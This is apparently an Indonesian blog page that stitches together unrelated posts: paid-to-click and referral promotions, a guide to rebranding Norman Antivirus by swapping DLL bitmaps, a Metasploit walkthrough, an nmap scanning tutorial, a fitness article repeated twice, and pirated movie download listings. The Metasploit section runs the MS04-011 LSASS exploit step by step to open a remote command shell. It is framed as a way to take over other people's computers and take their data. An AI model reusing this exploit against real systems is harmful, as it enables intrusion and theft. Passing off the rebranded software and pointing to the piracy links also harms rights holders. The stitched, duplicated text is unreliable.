Hallo kawan Semua. sebelumnya saya ucapkan terimakasih kepada kawan-kawan ternakonlie yang sudah meluangkan waktunya untuk berkunjung ke blog ini. Mungkin diantara rekan-rekan ada yang kecewa karena blog ini isinya masih seperti itu aja. Mohon maklum karena akhir-akhir ini lagi banyak kerjaan. Jadi PTC dan blog nya terbengkalai.

Namun demikian sekarang saya mau berbagi tentang birejji yang merupakan saudaranya moezmoney. ada beberapa perbedaan antara birejji dan moezmoney yang saya cermati, diantaranya adalah:

1. Dari tampilannya sedikit berbeda. kalo di moezmoney tempat chatting dibagi kedalam beberapa room, kalo di birejji dibagi dalam beberapa village.
2. kalo di meozmoney kita dapat bayaran chatting di room manapun, namun di birejji hanya di kampung (village) kita saja.
3. Bayarannya kalo di moezmoney setelah kita sampai 2 cent, sedang kan di birejji dibayarnya tiap akhir pekan. tepatnya lagi setiap hari Sabtu waktu Indonesia Barat.
4. Loading di birejji lebih cepet, sehingga kita bisa lebih cepet dapat uangnya.
5. dan ada beberapa perbedaan lainnya.
6. secara keseluruhan birejji lebih enak dibanding moezmoney.

Tak lupa juga saya sertakan bukti pembayaran pertama saya dari birejji yang baru saya liat pagi ini hehehe

kalo mau daftar silahkan klik di sini atau copy/paste di http://birejji.com/index.php?key=24312

apa salahnya di coba mumpung gratis ya kan,,,,

Hijack…apaan tuh? Umh…sebenarnya banyak artinya, bukan hanya diartikan sebagai pembajakan tapi pembajakan banget…belum ngerti jugak… gini NIH…kalo bajak software kan hanya membajak softwarenya aja…tinggal minjem CD orang yang berisi master software tersebut, kemudian mengcopy dan menginstall di komputer kita. Kalau Hijacking belum sampai disitu ajah… kita dapat mengganti splash screen, nama antivirus itu dan nama copyright atau pembuat atau vendor dari antivirus tersebut. CARANYA MAS…CARANYA… owkay…simak aja cerita di bawah ini

Kali ini kita akan meng-hijack antivirus luar yak .. kali ini contohnya Norman Antivirus. Sebelumnya yang harus dipersiapkan adalah:

1. PE Explorer, donlot aja di internet, banyak kok, PE explorer ini adalah sebuah tools yang digunakan untuk mereverse engineering sebuah software, yaitu membongkar isi sebuah software. Bukan hanya membongkar tapi dapat mengganti atau mengedit gambar, tulisan atau label yang ada di software tersebut

2. Process Explorer untuk melihat program ini memakai file dependensi (.dll) apa agar kita dapat menghijack softwarenya

3.  Master Norman Anti Virus (boleh bajakan, boleh yang asli)

4. Cemilan, winamp, rokok n aer putih … ya buat iseng – iseng ajah …

Okay sekarang kita mulai peng-hijack-an inih…

1. Install Software Norman Antivirus, tau kan cara nginstall-nya, gak usah dijelasin toh.

2. Kemudian Restart Komputer Anda agar lebih keren (apa coba…)

3. Nah setelah restart jalankan process explorer

4. Kemudian jalankan salah satu program dari Norman AV tersebut, misalnya Configuration Editor, Task Editor atau Utilities.

5. Lalu Jalankan process explorer untuk melihat dll apa saja yang dipakai si Norman Antivirus ini untuk menjalankan programnya. Alasannya kenapa file dll yang harus dilihat? Karena dll tersebut adalah sebuah file yang berisi komponen-komponen seperti gambar, icon, tulisan, form dan lain – lain yang digunakan oleh Norman AV untuk menjalankan programnya. Okay let’s check the process explorer

6. Disini kita bisa melihat beberapa aplikasi yang kita jalankan dari Norman AV yaitu : Nvccf.exe, Nvcte.exe dan Nvcut.exe

7. Untuk melihat dll nya klik salah satu program yang disebutkan diatas tadi, misalnya Nvccf.exe:

8. Kemudian lihat kotak bagian bawah untuk meneliti file dll apa aja yang dipakai oleh proses Nvcff.exe, kliatan kan…kemudian coba catat:

Ada Nvccf0q.dll, Nvccf0p.dll, Nvccf0o.dll, dan lain – lain…banyak kan

9. Kemudian klik proses lainnya yaitu Nvcte.exe dan Nvcut.exe untuk mengetahui dll yang dipakai, kemudian catat.

10. Dari 3 program tersebut kita dapat melihat dll yang sama dan dipakai oleh ketiga program tersebut adalah user32.dll, shell32.dll, ole32.dll, oleaut32.dll, Noemrc.dll, Niphk.dll

11. Mari kita lakukan penelitian lagi untuk melihat dll apa saja yang akan kita hijack

12. Kita mulai dari user32.dll…umh kayaknya bukan deh … soalnya user32.dll itu file dll yang digunakan windows, okay … lewat, shell32.dll juga, ole32.dll, oleaut32.dll juga merupakan komponen dll dari windows…lewat semua, yang tersisa sekarang Noemrc.dll dan Niphk.dll.

13. Sekarang kita buka PE Explorer, kemudian cari file Niphk.dll berada, yaitu di %direktori dimana Norman ter-install%\Nvc\bin\

14. Kemudian kemudian tekan tombol Ctrl+R untuk melihat resource-nya

15. Di kotak sebelah kiri anda dapat melihat hanya ada komponen version aja… umh…kayaknya bukan deh…oke lanjut ke dll selanjutnya yaitu Noemrc.dll

16. Buka file Noemrc.dll tersebut memakai PE Explorer, kemudian tekan Ctrl+R seperti tadi, kemudian lihat kotak sebelah kiri

17. Ada beberapa komponen yaitu, bitmap, Icon Entry, String dan Group Icon.

18. Klik yang ada di Bitmap

19. Umh… ada 3 sub komponen gambar, mari kita lihat…BINGGO!!!ketemu…ketiga gambar tersebut adalah bitmap yang dipakai untuk menjalankan aplikasi Norman AV, ketiga gambar yang dimuat adalah :

20. Anda bisa lihat gambar di atas ini adalah yang dipakai oleh aplikasi norman. Coba aja lihat di aplikasi Norman AV yang ada:

21. Nah sekarang untuk menghijack Norman AV ini cukup buat gambar 3 buah, harus berekstensi jpg semua.

22. Kemudian buka file Noemrc.dll dan tekan Ctrl+R

23. Kemudian Klik salah satu komponen dari sub bitmap yang mempunyai caption 101, ganti gambarnya dengan gambar atau logo yang anda buat yaitu dengan menekan tombol Shift+Ctrl+E

24. Kemudian tekan Ctrl+O untuk mencari gambar baru yang digunakan untuk mengganti logo Norman AV.

25. Lakukan langkah seperti di atas untuk sub bitmap 102 dan 103.

26. Setelah itu simpan Noemrc.dll di direktori dimana Norman AV terinstall, misalnya Norman Av terinstall di C:\Norman, maka simpan Noemrc.dll yang baru di direktori C:\Norman\Bin\ dan di C:\Norman\Nvc\Bin\

27. Setelah itu jalankan Norman AV lagi.

28. Lihat perbedaan yang terjadi, seperti gambar di bawah:

29. Jelas bukan logo, gambar yang berdiri di samping kanan diganti sama gambar kita

30. Untuk lebih jelas anda bisa me-restart komputer dan melihat splash screen yang ada …

Nah itulah sekelumit tentang hijacking program atau software. Jadi untuk membajak jangan tanggung – tanggung, sekalian aja diganti semuanya…enak kan… mengakui software yang bukan buatan kita dengan mengatasnamakan program buatan sendiri sungguh mengasyikan bukan (KALAU TIDAK TAU MALU) … yah mo gimana,…sama seperti beberapa program freeware yang anda dibuat…sakitt banget kan kalau program tersebut diakui sebagai program buatan orang lain…bukan program buatan kita…SUDAH FREEWARE DI BAJAK PULA…HAHAHAHAHAHHA…yah…moga2 ilmu ini bermanfaat… okeh, terakhir semoga kita BUKAN termasuk orang – orang seperti ini, Bukan PEMBAJAK lagi namanya tapi PEMBAJAK BANGET…. Mau gitu??

Metasploit merupakan program yang sangat bagus untuk menguasai komputer orang lain lewat jaringan koneksi komputer.

Dengan metasploit kita bisa masuk dan mengambil apapun isi dari komputer target.PErnah jadi korban masalahnya...id sama password hilang tinggal pakai metasploit dan katanya lagi dengan metasploit kita juga bisa matiin komputer orang dr jarak jauh juga..Sebelumnya saya mohon maaf kalau topik aku ini kurang baik,atau udah basi,atau ngak jelas.

Sebelumnya makasih buat situs hackers-center.org untuk tutorialnya.

1.buka frameworknya

. trus masuk ke console (ctrl+o )

. liat smua exploit dengan perintah

msf > show exploits

2.load modul exploit (aku dikasih twnya suruh pake exploit lsass)

msf > use windows/smb/ms04_011_lsass

3.Tentukan sistem operasi target(nie contoh klo target pake xp)

msf exploit(ms04_011_lsass) > set target 2

target => 2

3.Tampilin payloadnya apa aja yg ada..

msf exploit(ms04_011_lsass) > show payloads

4. pilih payload generic/shell_bind_tcp

msf exploit(ms04_011_lsass) > set payload generic/shell_bind_tcp

payload => generic/shell_bind_tcp

5.tentuin ip target (misal ip nya xxxxxxxxxx)

msf exploit(ms04_011_lsass) > set RHOST xxxxxxxxxx

RHOST => xxxxxxxxxx

6.sekarang tinggal jalanin perintah exploit...

msf exploit(ms04_011_lsass) > exploit

[*] Started bind handler

[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.113.14[\lsarpc]...

[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.113.14[\lsarpc]...

[*] Getting OS information...

[*] Trying to exploit Windows 5.1

[*] Command shell session 3 opened (192.168.113.25:8471 -> 192.168.113.14:4444)

[*] The DCERPC service did not reply to our request

7.Selanjutnya qta tampilin...isi session kita

msf exploit(ms04_011_lsass) > sessions -l

Active sessions

===============

Id Description Tunnel

-- ----------- ------

3 Command shell 192.168.113.25:8471 -> 192.168.113.14:4444

8. terus kita masuk ke session 3 tersebut, untuk masuk ke konsol....

msf exploit(ms04_011_lsass) > sessions -i 3

[*] Starting interaction with 3...

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

selesai.

oh ya kita tidak bisa masuk komputer target kalau tidak ada celahnya dan biar kita tahu komputer target ada celahnya atau tidak,kita scan dulu pakai nmmap. Maklum pelupa.nmmapnya dah ada di framework seri 3.1 berhubung aku punya nya yg seri 3.0 tidak ada nmmap nya ya maaf kalau tidak aku upload.

Klik disini untuK metasploit 3 GUI (Download)

ADMIN TIDAK BERTANGGUNG JAWAB ATAS KESALAHAN YANG TERJADI NANTINYA

nmap is a powerfull scanner available in Unix/Linux system. It’s very usefull for network exploration and security auditing. It was designed to rapidly scan large networks, although it works fine againts single hosts.

It’s very easy to install nmap in Ubuntu, just download from the internet.

taufanlubis@zyrex:~$ sudo apt-get install nmap

In this practice, I used 2 computer.

PC-01, IP = 192.168.0.3 (OpenSuse 10.1) with Kernel 2.6.16.13-4-default

PC-02, IP = 192.168.0.2 (Ubuntu Feisty)

I run nmap from Ubuntu to scan PC-01.

IP Scanning with range 192.168.0.0 – 192.168.0.255

taufanlubis@zyrex:~$ sudo nmap -sP 192.168.0.0/24

Starting Nmap 4.20 ( http://insecure.org ) at 2007-10-16 21:51 WIT

Host 192.168.0.2 appears to be up.

caught SIGINT signal, cleaning up

taufanlubis@zyrex:~$

IP Scanning with range 192.168.0.1 – 192.168.0.254

taufanlubis@zyrex:~$ sudo nmap -sP 192.168.0.1-254

Starting Nmap 4.20 ( http://insecure.org ) at 2007-10-16 21:53 WIT

Host 192.168.0.2 appears to be up.

Host 192.168.0.3 appears to be up.

MAC Address: 00:0D:88:B3:72:F3 (D-Link)

Nmap finished: 255 IP addresses (2 hosts up) scanned in 31.242 seconds

taufanlubis@zyrex:~$

Port Scanning with range port 100 – port 139

taufanlubis@zyrex:~$ nmap 192.168.0.3 -p100-139

Starting Nmap 4.20 ( http://insecure.org ) at 2007-10-16 22:06 WIT

Interesting ports on 192.168.0.3:

Not shown: 38 filtered ports

PORT STATE SERVICE

113/tcp closed auth

139/tcp open netbios-ssn

Nmap finished: 1 IP address (1 host up) scanned in 24.914 seconds

taufanlubis@zyrex:~$

For 40 ports, it took almost 25 seconds, so it will take much longer if you want to scan from 1-65535 (all ports in a computers).

Scanning Operating system on target IP

taufanlubis@zyrex:~$ sudo nmap -O 192.168.0.3

Starting Nmap 4.20 ( http://insecure.org ) at 2007-10-16 22:20 WIT

Interesting ports on 192.168.0.3:

Not shown: 1693 filtered ports

PORT STATE SERVICE

80/tcp open http

113/tcp closed auth

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 00:0D:88:B3:72:F3 (D-Link)

Device type: general purpose|specialized|WAP|storage-misc

Running (JUST GUESSING) : Linux 2.6.X|2.4.X (97%), Atmel Linux 2.6.X (91%), Siemens linux (91%), Linksys Linux 2.4.X (89%), Asus Linux 2.4.X (89%), Maxtor Linux 2.4.X (89%), Inventel embedded (88%)

Aggressive OS guesses: Linux 2.6.13 – 2.6.18 (97%), Linux 2.6.11 – 2.6.15 (Ubuntu or Debian) (93%), Linux 2.6.14 – 2.6.17 (92%), Linux 2.6.17 – 2.6.18 (x86) (92%), Linux 2.6.17.9 (X86) (92%), Linux 2.6.15-27-686 (Ubuntu Dapper, X86) (92%), Linux 2.6.9-42.0.2.EL (RedHat Enterprise Linux) (92%), Linux 2.6.9 – 2.6.12 (x86) (92%), Atmel AVR32 STK1000 development board (runs Linux 2.6.16.11) (91%), Siemens Gigaset SE515dsl wireless broadband router (91%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .

Nmap finished: 1 IP address (1 host up) scanned in 94.942 seconds

taufanlubis@zyrex:~$

nmap Faster Execution

If you want to make faster scan, use -T4 option on nmap command..

taufanlubis@zyrex:~$ sudo nmap -A -T4 192.168.0.3

Starting Nmap 4.20 ( http://insecure.org ) at 2007-10-16 22:42 WIT

Interesting ports on 192.168.0.3:

Not shown: 1693 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.0 ((Linux/SUSE))

113/tcp closed auth

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: HOME)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: HOME)

MAC Address: 00:0D:88:B3:72:F3 (D-Link)

Device type: general purpose|WAP|specialized|storage-misc|broadband router

Running (JUST GUESSING) : Linux 2.6.X|2.4.X (97%), Siemens linux (93%), Atmel Linux 2.6.X (92%), Inventel embedded (89%), Linksys Linux 2.4.X (89%), Asus Linux 2.4.X (89%), Maxtor Linux 2.4.X (89%), Netgear embedded (87%)

Aggressive OS guesses: Linux 2.6.13 – 2.6.18 (97%), Siemens Gigaset SE515dsl wireless broadband router (93%), Linux 2.6.11 – 2.6.15 (Ubuntu or Debian) (93%), Linux 2.6.15-27-686 (Ubuntu Dapper, X86) (93%), Atmel AVR32 STK1000 development board (runs Linux 2.6.16.11) (92%), Linux 2.6.14 – 2.6.17 (92%), Linux 2.6.17 – 2.6.18 (x86) (92%), Linux 2.6.17.9 (X86) (92%), Linux 2.6.9-42.0.2.EL (RedHat Enterprise Linux) (92%), Linux 2.6.9 – 2.6.12 (x86) (92%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .

Nmap finished: 1 IP address (1 host up) scanned in 58.830 seconds

taufanlubis@zyrex:~$

Now, you only need 58,83 seconds compare to 94.94 seconds (without -T4 option).

For more details, just open the nmap manual.

taufanlubis@zyrex:~$ man nmap

kalian tentu sudah pernah dengar yang namanya PTC kan,jika belum PTC(Pay per Click) adalah sebuah situs yang membayar setiap membernya setiap mengklik iklan yang tersedia.saya sudah mengikuti beberapa PTC dan sudah terbukti bahwa kita akan di bayar setelah mengikuti syarat dan ketentuan dari PTC tersebut,ini adalah beberapa PTC yang saya ikuti:

1.NeoBux


2.Onbux


 

3.Martabux



4.id-bux
 
 
5.gagabux
 

6.buxplax
 

7.Infinitybux



8.Globalinvestmentsbux



9.IENBUX
Sign up to IENBux today!

10.PaidToClick


11.Rodbux



12.MarihuanaBux



13.Networkerptc



14.Lasdmoney



15.BuxExcel

16.GladeBux
 

17.Fox Bux

18.cahview
href="http://www.cashviews.com/?ref=aloen76">


19.Donkey Mails



20.Incrasebux
  


kalau kalian ingin mencoba caranya gampang kok,kalian hanya perlu mengklik baner PTC di atas,lalu register dan kalian sudah dapat mulai menghasilkan dolar dengan cara mengklik iklan yang ada di ptc tersebut.

Cara Memasang Iklan Melayang Di Blogspot - Memasang iklan melayang di blogspot berguna untuk mengoptimalkan click pada iklan, karena pada awal halaman di buka, window kecil iklan akan muncul di layar .
Namun tenang saja ini tidak akan terlalu mengganggu pengunjung, karena juga sudah disediakan tombol close kecil di pojok window iklan ini.

Caranya mudah :

1. Download File Code nya dulu disini
2. Buka Blogger.com
3. klik layout pada rancangan di blogger anda
   
4. Add gadget - HTML and Javascript
5. Paste Code tersebut
6. Klik Save.

Didalam code tersebut sudah saya sematkan kata-kata "Dibawah ini bisa anda ganti dengan kode iklan anda sendiri". Nah tugas kamu hanya mengganti kode iklan saya disana dengan kode iklan anda sendiri.

Selamat mencoba :)

Jika berhasil jangan lupa koment2 nya :)

Daceband.com adalah sejenis situs pertemanan seperti halnya facebook, twitter, yahoo messenger dan yang lain. Tapi bedanya setiap member akan dibayar $$$ sebagai imbalan semua aktifitas yang sudah kita lakukan. Daceband akan memberikan poin yang bisa ditukar dengan dollar dan akan dikirim melalui paypal. Ada banyak cara untuk mendapatkan poin, antara lain:
1. Anda mengupload foto akan mendapat 2 poin.
2. Anda mengupload video mendapat 2 poin
3. Anda mengupload audio mendapat 2 poin
4. Anda memberi komentar mendapat 1 poin
dan masih banyak lagi cara yang lain untuk mendapat poin dengan cara merefensikan daceband kepada orang lain. Anda akan dibayar kalau poin anda sudah terkumpul 1000 atau $ 5.Tunggu apalagi anda cepat daftar dan menjadi referral saya.
http://www.daceband.com/r.php?id=8061

1. Silahkan

Join Gratis dengan program Daceband menggunakan Email yang sama dengan Email Paypal Anda (klo belum punya akun paypal silahkan join paypal nanti dengan menggunakan email yang sama untuk join Daceband.

• Aktifkan keanggotaan anda dengan klik link aktivasi di email anda
• Login ke member area dan edit profile anda. Cantumkan email paypal dan juga ID adsense anda jika punya

2. Cara memperoleh income dari Daceband sbb:

• Login dan upload photo, video, lagi, buat blog dll. Lakukan aktifitas seperti memakai facebook dan sejenisnya dan dapatkan Income dari setiap aktifitas yang anda lakukan di Daceband.
• Lakukan aktifitas minimal selama 15 menit setaip anda login ke Daceband. Bisa setiap hari atau sesuai kehendak anda untuk online.
• Dapatkan $5 dari setiap 1000 visitor yang melihat konten anda seperti: blog, photo, video dll.
• Dapatkan $1.25 dari setiap 1000 visitor yang melihat referral kontent anda.- Dapatkan 8 point dari setiap post kontent seperti :blog, video
• dll
• Dapatkan 8 point setiap anda aktif di daceband selama 15 menit
• Dapatkan 2 point jika referral anda aktif di daceband setiap 15 menit.
• Point anda akan di konversi setiap hari menjadi US$

Jangan lupa add saya sebagai friend dengan username : aloen76
3. Pembayaran Dari Daceband adalah sbb :

• Pembayaran akan di kirimkan setiap bulan ke paypal anda- Minimal Pembayaran adalah $5 saja

Silahkan Register Gratis disini Untuk trik mendapatkan Traffic.

Saya coba mengulas lagi cara mendapatkan uang dari blog secara legka. Dan tulisan mengenai cara mencari uang dari blog ini akan saya update secara berkala apabila ada informasi terbaru. Sebelumnya tahu cara mendapatkan uang dari blog anda harus mengetahui apa blog itu. Blog menyerupai website yang menampilkan tulisan-tulisan yang dapat ditambahkan setiap saat dengan mudah, seperti menulis di buku catatan harian. Blog didesain untuk dapat menampung tulisan-tulisan berkala yang akan ditamplkan dengan urutan posting terakhir muncul di paling atas dari blog tersebut. Lalu bagaiman blog bisa menghasilkan uang bagi anda? Ada berbagai macam cara mendapatkan uang dari blog :

1. Mendapatkan uang dari iklan. Seperi anda lihat koran dan majalah yang peuh dengan iklan, seperti itu salah satu cara mendapatkan uang dari blog. Baik iklan langsung ataupun melalui jaringan penyedia iklan.
2. Mendapatkan uang dari impresi. Artinya setiap halaman dari blog anda dilihat orang, anda mendapatkan uang dari blog anda. Lebih sering dikenal PPM (Paid Per Million) artinya di bayar perseribu impresi.
3. Di bayar untuk me-review produk atau website. Anda membuat tulisan mengetahui opini anda terhadap website atau produk dan anda mendapatkan uang dari klien anda.
4. Menjual produk orang lain melalui affiliate marketing. Salah satu cara mendapatkan uang dari blog yang sangat di minati karena penghasilannya yang cukup besar.
5. Menjual produk sendiri. Seperti layaknya membuka warung atau toko. Anda dapat menjual apa saja yang anda rasa akan laku di pasaran.
6. Menjual link Link merupakan tempat yang menghubungakan antara blog satu dengan yang lain. Anda bisa mendapatkan uang dari blog anda dengan menjual link kepada pemilik blog lain.
7. Menampilkan banner pihak lain. Mirip menjual link hanya dengan menampilkan banner. Pemilik baner dapat memiliki blog atau tidak.
8. Menampilkan search form. Orang dapat menggunakan form mesin pencari, dan dari hasil pencarian akan ada iklan yang tampil.
9. ...update next di cara menghasilkan uang dari blog anda.

Memiliki perut keren, dan kencang merupakan dambaan bagi hampir setiap orang, namun untuk menjadikan perut memiliki bentuk yang ideal di perlukan sedikit usaha, tidak cukup hanya dengan sit-up ratusan kali sehari. Selain sit-up olahraga seperti jogging, renang, Aerobik, Jalan Santai juga bisa membantu mengecilkan perut Anda. Tapi, latihan sekeras mungkin juga nggak bakalan bikin perut kamu oke kalau nggak diimbangi sama diet untuk mengurangi timbunan lemak di daerah perut. Oke silahkan ikuti tips berikut ini untuk mendapatkan perut seperti yang Anda idamkan.

Pertama pastinya, sit-up, cara pengecilan perut yang paling populer. Tapi sit-up ini lebih oke lagi kalau divariasikan dengan gerakan menyilang. Nggak hanya sekedar lurus ke atas dan ke bawah. Ketika bangun, siku kanan diarahkan ke kaki kiri, begitu juga sebaliknya secara bergantian.

Sebelum banyak berlatih ada beberapa hal yang perlu kamu ingat untuk menghindari “kecelakaan”.

1. Ketika sit-up jangan pernah menarik atau menekan bagian leper dan kepala.
2. Usahakan kakimu jangan bergerak. Biarkan perut yang bekerja.
3. Tekan ke dalam bagian perut selama latihan.

berikut beberapa contoh latihan ringan untuk perut.
1. Sit-up dasar: Berbaring lah dengan lutut terlipat dan kaki rata menyentuh lantai. Letakan tangan di belakang kepala. Dengan menggunakan otot perut, angkat bahumu. Kembali ke posisi semula dan ulangi 10-12 kali.
2. Berlatih dengan handuk. Berdiri tegak pegang sebuah handuk kecil di atas kepala. Kencangkan perut dan bentuk gerakan melingkar besar dengan handukmu, ulangi 8-10 kali dan putar ke arah sebaliknya.
3. latihan dengan bola, Duduk diatas bola dan, gerakan kaki sehingga bola menggelinding perlahan ke punggung. Jika badanmu sudah paralel dengan lantai letakkan tangan ke belakang kepala. Kemudian dengan menggunakan otot perut angkat bahu kanan menjuju arah pinggul kiri. Kembali ke posisi paralel dan ulangi sisi sebaliknya.

Latihan Praktis Untuk Mengecilkan Perut Buncit
Memiliki perut keren, dan kencang merupakan dambaan bagi hampir setiap orang, namun untuk menjadikan perut memiliki bentuk yang ideal di perlukan sedikit usaha, tidak cukup hanya dengan sit-up ratusan kali sehari. Selain sit-up olahraga seperti jogging, renang, Aerobik, Jalan Santai juga bisa membantu mengecilkan perut Anda. Tapi, latihan sekeras mungkin juga nggak bakalan bikin perut kamu oke kalau nggak diimbangi sama diet untuk mengurangi timbunan lemak di daerah perut. Oke silahkan ikuti tips berikut ini untuk mendapatkan perut seperti yang Anda idamkan.
Pertama pastinya, sit-up, cara pengecilan perut yang paling populer. Tapi sit-up ini lebih oke lagi kalau divariasikan dengan gerakan menyilang. Nggak hanya sekedar lurus ke atas dan ke bawah. Ketika bangun, siku kanan diarahkan ke kaki kiri, begitu juga sebaliknya secara bergantian.

Sebelum banyak berlatih ada beberapa hal yang perlu kamu ingat untuk menghindari “kecelakaan”.
1. Ketika sit-up jangan pernah menarik atau menekan bagian leper dan kepala.
2. Usahakan kakimu jangan bergerak. Biarkan perut yang bekerja.
3. Tekan ke dalam bagian perut selama latihan.

Nah setelah kamu siap, berikut beberapa contoh latihan ringan untuk perut.
1. Sit-up dasar: Berbaring lah dengan lutut terlipat dan kaki rata menyentuh lantai. Letakan tangan di belakang kepala. Dengan menggunakan otot perut, angkat bahumu. Kembali ke posisi semula dan ulangi 10-12 kali.

2. Berlatih dengan handuk. Berdiri tegak pegang sebuah handuk kecil di atas kepala. Kencangkan perut dan bentuk gerakan melingkar besar dengan handukmu, ulangi 8-10 kali dan putar ke arah sebaliknya.

3. latihan dengan bola, Duduk diatas bola dan, gerakan kaki sehingga bola menggelinding perlahan ke punggung. Jika badanmu sudah paralel dengan lantai letakkan tangan ke belakang kepala. Kemudian dengan menggunakan otot perut angkat bahu kanan menjuju arah pinggul kiri. Kembali ke posisi paralel dan ulangi sisi sebaliknya.

Date Released : 6 Pebruari 2009
Quality : DVDRip
Info : imdb.com/title/tt1013752
Lihat : Trailer
Pemain : Vin Diesel, Paul Walker
Genre : Action

---------------------------------------Uploader by blueshadow

Download Files : CD1 & CD2
---------------------------------------
Download Subtitle Indonesia
Download Subtitle English
-----------------------------------------------------------------------------------------------------------------

Untuk Versi R5 :
Download File
Download Subtitle Indonesia
-----------------------------------------------------------------------------------------------------------------
Link Terkait:
- The Fast and the Furious
- 2 Fast 2 Furious

R E V I E W

Diawali dengan aksi Dominic Toretto (Vin Diesel) dan kekasihnya Letty (Michelle Rodriguez) serta kawan-kawannya membajak truk bermuatan minyak.

Sementara itu Dom terus menjadi buronan polisi. Tidak ingin teman-teman dan kekasihnya turut terlibat dengan masalhnya, akhirnya Dominic memutuskan untuk meninggalkan mereka.

Beberapa bulan berikutnya Dominic mendapat kabar bahwa kekasihnya telah dibunuh oleh Fenix (Laz Alonso), anak buah dari gembong narkoba, Arturo Braga (John Ortiz). Braga sendiri telah menjadi incaran kepolisian Amerika sejak lama, dan untuk menangkap Braga ditugaskanlah Brian O'Conner (Paul Walker) yang sekarang menjadi agen FBI.

Brian akhirnya bertemu dengan Dom yang juga mencari Braga untuk membalas dendam. Mereka berdua akhirnya bekerjasama menyusup ke dalam kelompok pembalap-pembalap anak buah Braga yang diberi tugas untuk mengantar narkoba.

Setelah berhasil menjadi pembalap Braga, maka tugas selanjutnya adalah mengantarkan narkoba melewati perbatasan Meksiko yang dipimpin oleh Fenix.

Dengan bantuan FBI, Brian dan Dom berhasil menjebak Braga dan anak buahnya. namun Braga, Fenix dan beberapa anak buahnya berhasil lolos dan pergi ke Mexico. Karena gagal mendapatkan Braga, Brian diminta keluar dari kasus Braga. Brian dan Dom akhirnya melakukan pengejaran sendiri ke Mexico dan menemukan Braga di sebuah gereja. Braga berhasil ditangkap namun anak buah Braga mengetahuinya dan melakukan pengejaran terhadap Brian dan Dom.

Mobil yang dikendarai Brian yang membawa Braga berhasil disusul dan dihancurkan oleh Fenix. Saat Fenix akan menembak Brian, mobil Dom datang dan langsung menabrak tubuh Fenix sehingga mati seketika.

Diakhir cerita Dominic dihukum 25 tahun penjara. Dalam perjalanan menuju penjara, bus yang diaiki Dom dicegat oleh Brian, Mia dan kawan-kawan untuk membebaskan Dominic.

Date Released : 23 October 2009
Quality : [DvDrip AAC[Eng]
Info : imdb.com/title/tt0375568
Lihat : Trailer
Starring : Nicolas Cage, Samuel L. J, Freddie Highmore
Genre : Animation | Action | Family | Sci-Fi
----------------------------------------

Uploader by backquarter


Download File [399MB-mkv]|imzu|password=pasrah
----------------------------------------
Download Subtitle Indonesia
Download Subtitle English
----------
Ket: Sebelum download, registrasi / sign up (gratis) dulu ke imzu Disini



------------------------------------------------
Link Alternatif:

[R5 XviD | 700MB | avi]
Download Files |Sub Indo | Sub Eng
or
www.indowebster.com/AstroBoyR5LiNEXviDDEViSE.html
--------------------------------------------
[R5 | 300MB | mkv]
Download File
or
www.indowebster.com/Astroboy_2009_R5_by_jengkolitemkaskus.html

-----------------------------------------------------------------------------------------------------------------

R E S E N S I

Sejak kehilangan putranya, Tobio, yang meninggal dalam kecelakaan, Dr. Tenma (Nicolas Cage) merasa kesepian. Ia kemudian memanfaatkan keahliannya membuat robot untuk menciptakan pengganti Tobio. Berdasarkan gambaran Tobio inilah Dr. Tenma kemudian membangun robot yang kemudian ia beri nama Astro Boy (Freddie Highmore).

Sayangnya, Astro Boy ini ternyata tak bisa menggantikan Tobio yang sangat ia cintai. Astro Boy tak bisa tumbuh menjadi dewasa dan tak memiliki emosi layaknya manusia. Kecewa dengan hasil ciptaannya, Dr. Tenma kemudian memutuskan untuk 'membuang' Astro Boy yang mulai merasakan bahwa Dr. Tenma adalah ayahnya.

Astro Boy yang merasa kecewa kemudian terlibat serangkaian petualangan yang malah membuatnya semakin 'dewasa'. Namun petualangan Astro Boy harus segera diakhiri karena Metro City, tempat 'ayahnya' tinggal kini berada dalam bahaya. Berbekal rasa 'cinta' pada ayahnya dan kemampuan yang ia dapat selama dalam petualangan, Astro Boy siap kembali untuk melindungi Metro City dari segala ancaman.

(kapanlagicom)

Date Released : 12 June 2007
Quality :
Info : imdb.com/title/tt0486576
Lihat : Trailer
Starring : Ioan Gruffudd, Chris Evans
Genre : Action | Adventure | Fantasy

----------------------------------------Uploader by yowesla

Download File
----------------------------------------
Download Subtitle Indonesia
Download Subtitle English
-----------------------------------------------------------------------------------------------------------------

R E S E N S I

Dalam sequel ini, empat tokoh yang tergabung dalam Fantastic 4 yaitu Reed Richard/Mr. Fantastic [Ioan Gruffudd], Sue Storm/The Invisible Women [Jessica Alba], Johnny Storm/The Human Torch [Chris Evans], serta Ben Grimm/The Thing [Michael Chiklis] , telah menjadi terkenal di kalangan masyarakat.

Suatu hari ketika, Reed dan Sue akan melangsungkan pernikahannya tiba-tiba saja muncul sosok makhluk aneh berwarna perak, berseluncur di angkasa. Makhluk tersebut kemudian dijuluki Silver Surfer (SS) yang mempunyai kekuatan sangat besar dan tengah membuat lubang besar di beberapa titik bumi, yang akan mengakibatkan kehancuran bumi.

Menyadari hal ini, pihak militer AS dibawah pimpinan Jenderal Hager [Andre Braugher] meminta bantuan Fantastic 4 untuk menghentikan Silver Surfer. Selain itu, Dr.Victor Von Doom [Julian McMahon], musuh lama Fantastic 4 bangkit dan berniat membantu Fantastic 4 untuk melumpuhkan Silver Surfer. Ternyata ada rahasia dibalik niat baik Dr. Victor Von Doom ini. Ketika Silver Surfer berhasil dilumpuhkan, Doom pun lalu menguasai papan seluncur milik Silver Surfer, sehingga, ia memiliki kekuatan yang luar biasa besar.

Bagaimanakah usaha Fantastic 4 untuk menghentikan Doom kali ini??? Dan bagaimana dengan Silver Surfer???

Date Released : 8 July 2005
Quality : DVDRip
Info : imdb.com/title/tt0120667
Lihat : Trailer
Starring : Ioan Gruffudd, Jessica Alba, Chris Evans
